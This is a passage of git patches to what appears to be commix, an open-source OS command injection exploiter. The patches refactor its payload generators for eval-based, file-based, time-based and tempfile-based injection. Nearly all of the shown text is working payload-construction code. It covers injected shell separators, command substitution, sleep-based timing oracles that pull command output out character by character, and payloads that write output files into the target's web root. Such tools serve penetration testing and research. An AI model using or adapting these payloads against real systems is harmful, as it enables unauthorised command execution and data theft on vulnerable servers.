+ settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index 54da00abff..45dd58ab17 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -222,6 +222,7 @@ def cmd_execution_alter_shell(separator, TAG, cmd): separator + "echo '" + TAG + "'`)%3B" ) else: + settings.USER_APPLIED_CMD = cmd if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index cafa7d2664..e6045a2dae 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -71,7 +71,6 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): Execute shell commands on vulnerable host. """ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): - if settings.TFB_DECIMAL == True: payload = (separator + cmd) @@ -87,7 +86,6 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): payload = (separator + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) - return payload """ @@ -106,9 +104,11 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): "') do @set /p = %i " + settings.CMD_NUL ) else: + settings.USER_APPLIED_CMD = cmd + cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX payload = (separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + - settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + "echo " + cmd_exec + settings.CMD_SUB_SUFFIX + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX ) # New line fixation diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index b3f8132439..9133bdd859 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -205,7 +205,6 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth else: settings.USER_APPLIED_CMD = cmd - if separator == ";" or separator == "%0a" : payload = (separator + "str=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + @@ -289,6 +288,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: + settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a" : payload = (separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + diff --git a/src/utils/settings.py b/src/utils/settings.py index 2be487ca76..6543bec2b0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "7" +REVISION = "8" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From cf37741fbd825f328237ed487997cec99a807ac6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 10 Feb 2025 07:26:13 +0200 Subject: [PATCH 0532/1023] Minor code refactoring regarding payloads for time-related techniques (i.e. "time-based", "tempfile-based") --- doc/CHANGELOG.md | 1 + .../techniques/time_based/tb_payloads.py | 90 ++++++++-------- .../techniques/tempfile_based/tfb_payloads.py | 100 +++++++++--------- src/core/tamper/backticks.py | 4 +- src/utils/settings.py | 10 +- 5 files changed, 105 insertions(+), 100 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 3738be395f..f182ee27bb 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Minor code refactoring regarding payloads for time-related techniques (i.e. "time-based", "tempfile-based"). * Revised: Improvement regarding tamper script "backticks.py" for supporting time-related techniques (i.e. "time-based", "tempfile-based"). ## Version 4.0 (2024-12-20) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index c8254d5fa7..6e898bc6cd 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -46,11 +46,11 @@ def decision(separator, TAG, output_length, timesec, http_request_method): else: if separator == ";" or separator == "%0a": payload = (separator + - "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=${#str}" + separator + - # "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(output_length) + " -eq $str1 ]" + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" @@ -62,11 +62,11 @@ def decision(separator, TAG, output_length, timesec, http_request_method): ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + - "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=${#str}" + separator + - # "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(output_length) + " -eq $str1 ]" + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) @@ -111,8 +111,8 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me if separator == ";" or separator == "%0a": payload = (separator + # Find the length of the output, using readline(). - "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(output_length) + " -eq ${str1} ]" + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" @@ -124,8 +124,8 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me payload = (ampersand + settings.SINGLE_WHITESPACE + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(output_length) + " -eq ${str1} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) @@ -184,10 +184,10 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX if separator == ";" or separator == "%0a": payload = (separator + - "str=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + - # "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - "str1=${#str}" + separator + - "if [ " + str(output_length) + " -eq $str1 ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + + # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "if [ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" @@ -198,11 +198,11 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + - "str=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=${#str}" + separator + - # "str1=" + settings.CMD_SUB_PREFIX + "expr length $str)" + separator + - "[ " + str(output_length) + " -eq $str1 ]" + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length $" + settings.RANDOM_VAR_GENERATOR + ")" + separator + + "[ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + "sleep " + str(timesec) ) @@ -211,7 +211,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): elif separator == "||" : pipe = "|" payload = (pipe + - "[ " +str(output_length)+ " -ne " + settings.CMD_SUB_PREFIX + "echo -n \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\" " + + "[ " +str(output_length)+ " -ne " + settings.CMD_SUB_PREFIX + "echo -n \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + pipe + "tr -d '\\n' " + pipe + "wc -c" + settings.CMD_SUB_SUFFIX + " ]" + separator + "sleep " + str(timesec) ) @@ -248,8 +248,8 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque if separator == ";" or separator == "%0a": payload = (separator + # Find the length of the output, using readline(). - "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(output_length) + " -eq ${str1} ]" + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" @@ -261,8 +261,8 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + # Find the length of the output, using readline(). - "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(output_length) + " -eq ${str1} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " ) @@ -318,13 +318,13 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met if separator == ";" or separator == "%0a" : payload = (separator + # Grab the execution output. - "cmd=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + # Export char-by-char the execution output. - "char=" + settings.CMD_SUB_PREFIX + "expr substr \"$cmd\" " + str(num_of_chars) + " 1" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "2=" + settings.CMD_SUB_PREFIX + "expr substr \"$" + settings.RANDOM_VAR_GENERATOR + "\" " + str(num_of_chars) + " 1" + settings.CMD_SUB_SUFFIX + separator + # Transform from Ascii to Decimal. - "str=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$char'\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$" + settings.RANDOM_VAR_GENERATOR + "2'\"" + settings.CMD_SUB_SUFFIX + separator + # Perform the time-based comparisons - "if [ " + str(ascii_char) + " -eq $str ]" + separator + + "if [ " + str(ascii_char) + " -eq $" + settings.RANDOM_VAR_GENERATOR + " ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" @@ -336,13 +336,13 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met payload = (ampersand + "sleep 0 " + separator + # Grab the execution output. - "cmd=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + # Export char-by-char the execution output. - "char=" + settings.CMD_SUB_PREFIX + "expr substr \"$cmd\" " + str(num_of_chars) + " 1" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "2=" + settings.CMD_SUB_PREFIX + "expr substr \"$" + settings.RANDOM_VAR_GENERATOR + "\" " + str(num_of_chars) + " 1" + settings.CMD_SUB_SUFFIX + separator + # Transform from Ascii to Decimal. - "str=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$char'\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$" + settings.RANDOM_VAR_GENERATOR + "2'\"" + settings.CMD_SUB_SUFFIX + separator + # Perform the time-based comparisons - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) @@ -389,8 +389,8 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a": payload = (separator + - "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" @@ -401,8 +401,8 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) @@ -456,8 +456,8 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me else: if separator == ";" or separator == "%0a": payload = (separator + - "str=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + separator + - "if [ " + str(ascii_char) + " -eq $str ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + separator + + "if [ " + str(ascii_char) + " -eq $" + settings.RANDOM_VAR_GENERATOR + " ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" @@ -468,8 +468,8 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + - "str=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\" " + separator + - "[ " + str(ascii_char) + " -eq $str ] " + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + separator + + "[ " + str(ascii_char) + " -eq $" + settings.RANDOM_VAR_GENERATOR + " ] " + separator + "sleep " + str(timesec) ) @@ -513,8 +513,8 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt else: if separator == ";" or separator == "%0a": payload = (separator + - "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" @@ -525,8 +525,8 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 9133bdd859..2fbbf84fc8 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -51,12 +51,12 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): else: if separator == ";" or separator == "%0a" : payload = (separator + - "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - # "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - "str1=${#str}" + separator + - "if [ " + str(j) + " -eq ${str1} ]" + separator + + # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" @@ -67,11 +67,11 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + - "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - #"str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - "str1=${#str} " + separator + - "[ " + str(j) + " -eq ${str1} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + #settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "} " + separator + + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + "sleep " + str(timesec) ) @@ -121,8 +121,8 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque payload = (separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(j) + " -eq ${str1} ]" + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + 